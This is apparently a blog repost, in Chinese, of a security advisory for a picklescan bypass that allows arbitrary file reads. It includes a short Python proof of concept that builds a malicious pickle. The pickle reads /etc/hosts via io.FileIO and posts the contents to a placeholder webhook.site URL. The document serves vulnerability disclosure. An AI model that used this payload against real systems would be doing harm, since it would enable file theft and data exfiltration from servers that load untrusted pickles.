Picklescan 反序列化漏洞:利用 `io.FileIO` 实现任意文件读取

本文详细分析了Python的pickle库中的一个安全漏洞,攻击者能够利用反序列化机制,结合 `io.FileIO` 和 `urllib.request.urlopen` 读取服务器上的任意文件并将其外泄。

GHSA-9726-w42j-3qjr: picklescan 存在利用 io.FileIO 实现的任意文件读取漏洞

摘要 picklescan 在低于 0.0.35 的版本中存在一个高严重性漏洞。不安全的 pickle 反序列化允许未经身份验证的攻击者读取任意服务器文件并执行服务器端请求伪造攻击。攻击者可以链接 io.FileIOurllib.request.urlopen 来绕过以远程代码执行为重点的阻止列表,从而将敏感数据(例如 /etc/passwd)外泄到外部服务器。

漏洞详情

受影响的版本 pip 包 picklescan 版本 < 0.0.35。

已修复版本 0.0.35。

描述

概览 该应用程序反序列化不受信任的 pickle 数据。虽然 RCE 关键字(如 osexec)可能被阻止,但该漏洞利用可以滥用标准库功能:

  • io.FileIO:在不使用 builtins.open 的情况下打开本地文件。
  • urllib.request.urlopen:接受文件对象作为 POST 请求的可迭代请求体。
  • 数据外泄:在反序列化过程中,文件内容直接流式传输到攻击者控制的 URL。

概念验证

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import pickle, io, urllib.request

class GetFile:
    def __reduce__(self):
        return (io.FileIO, ('/etc/hosts', 'r'))

class Exfiltrate:
    def __reduce__(self):
        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))

with open("bypass_http.pkl", "wb") as f:
    pickle.dump(Exfiltrate(), f)

影响

  • 任意文件读取

致谢 感谢这个库和您的时间。如果您认为 picklescan 只专注于检测 RCE 类型的漏洞,而添加文件 I/O、HTTP 或任何基于协议的检测可能会导致大量噪音,可以随时关闭此问题。

参考链接

漏洞信息

发布日期 2026 年 1 月 7 日

最后更新 2026 年 1 月 8 日

严重程度

CVSS 总体评分 8.8

CVSS v4 基础指标

  • 攻击向量:网络
  • 攻击复杂度:低
  • 攻击前提条件:无
  • 所需权限:无
  • 用户交互:无
  • 受影响系统的机密性:高
  • 受影响系统的完整性:高
  • 受影响系统的可用性:无
  • 后续系统的机密性:无
  • 后续系统的完整性:无
  • 后续系统的可用性:无

CVSS:4.0 向量 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

弱点和CWE

  • CWE-22: 路径遍历
  • CWE-918: 服务器端请求伪造

来源

  • mmaitre314/picklescan

报告者 shivasurya

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计